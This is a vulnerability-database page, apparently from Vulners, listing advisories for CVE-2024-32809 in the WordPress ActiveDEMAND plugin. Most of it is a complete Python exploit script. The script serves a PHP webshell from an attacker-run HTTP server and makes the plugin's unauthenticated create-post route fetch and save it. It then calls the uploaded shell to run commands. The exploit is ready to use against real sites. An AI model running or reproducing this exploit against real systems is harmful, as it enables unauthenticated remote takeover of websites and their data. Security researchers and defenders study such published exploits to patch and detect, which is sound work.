| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| WordPress plugin ActiveDEMAND 代码问题漏洞 | 17 May 202400:00 | – | cnnvd | |
| CVE-2024-32809 | 17 May 202409:39 | – | cve | |
| CVE-2024-32809 WordPress ActiveDEMAND plugin <= 0.2.41 - Arbitrary File Upload vulnerability | 17 May 202409:39 | – | cvelist | |
| EUVD-2024-30595 | 3 Oct 202520:07 | – | euvd | |
| CVE-2024-32809 | 17 May 202410:15 | – | nvd | |
| WordPress ActiveDEMAND Plugin <= 0.2.41 is vulnerable to Arbitrary File Upload | 22 Apr 202400:00 | – | patchstack | |
| WordPress ActiveDEMAND plugin <= 0.2.41 - Arbitrary File Upload vulnerability | 22 Apr 202414:47 | – | patchstack | |
| CVE-2024-32809 | 5 Feb 202507:02 | – | redhatcve | |
| CVE-2024-32809 WordPress ActiveDEMAND plugin <= 0.2.41 - Arbitrary File Upload vulnerability | 17 May 202409:39 | – | vulnrichment | |
| Wordfence Intelligence Weekly WordPress Vulnerability Report (April 22, 2024 to April 28, 2024) | 2 May 202414:49 | – | wordfence |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin ActiveDEMAND <= 0.2.40 - Unauthenticated Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/activedemand/
# Software Link: https://downloads.wordpress.org/plugin/activedemand.0.2.40.zip
# Version: 0.2.40 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-32809
"""
ActiveDEMAND <= 0.2.40 exposes the REST route /wp-json/activedemand/v1/create-post/ with
permission_callback __return_true. Its api_key gate is strcmp($_['api_key'], get_option(appkey))
and on a fresh install the stored appkey is "" so api_key="" passes. The handler then does
file_get_contents($thumbnail_url) + file_put_contents(uploads/.../basename($thumbnail_url)) with NO
extension check (ActiveDEMAND.php:880-890) -> upload a .php webshell -> RCE.
"""
import argparse, sys, time, os, threading, http.server, socketserver, datetime
import requests
requests.packages.urllib3.disable_warnings()
TOK = "ADEMAND_PWNED"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--lhost", default="host.docker.internal")
ap.add_argument("--lport", type=int, default=8971)
ap.add_argument("--cmd", default="id")
ap.add_argument("--name", default="adshell_"+os.urandom(3).hex()+".php")
a = ap.parse_args(); base = a.target.rstrip("/")
pl = ("<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOK).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(s): s.send_response(200); s.send_header("Content-Length", str(len(pl))); s.end_headers(); s.wfile.write(pl)
def log_message(s, *x): pass
socketserver.TCPServer.allow_reuse_address = True
hd = socketserver.TCPServer(("0.0.0.0", a.lport), H)
threading.Thread(target=hd.serve_forever, daemon=True).start(); time.sleep(0.5)
u = "http://%s:%d/%s" % (a.lhost, a.lport, a.name)
print("[*] Target:", base, "| payload:", u)
r = requests.post(base + "/wp-json/activedemand/v1/create-post/",
json={"api_key": "", "title": "x", "content": "x", "slug": "x",
"categories": "x", "thumbnail_url": u}, timeout=30, verify=False)
print("[*] create-post ->", r.status_code, r.text[:120]); time.sleep(1)
now = datetime.datetime.now(datetime.timezone.utc)
for p in ["/wp-content/uploads/%d/%02d/%s" % (now.year, now.month, a.name),
"/wp-content/uploads/%s" % a.name]:
rr = requests.get(base + p, params={"c": a.cmd}, timeout=15, verify=False)
if TOK in rr.text:
print("\n[+] RCE CONFIRMED at", p); print(rr.text.split(TOK + ":")[1].strip()); hd.shutdown(); return 0
print("\n[-] not confirmed"); hd.shutdown(); return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation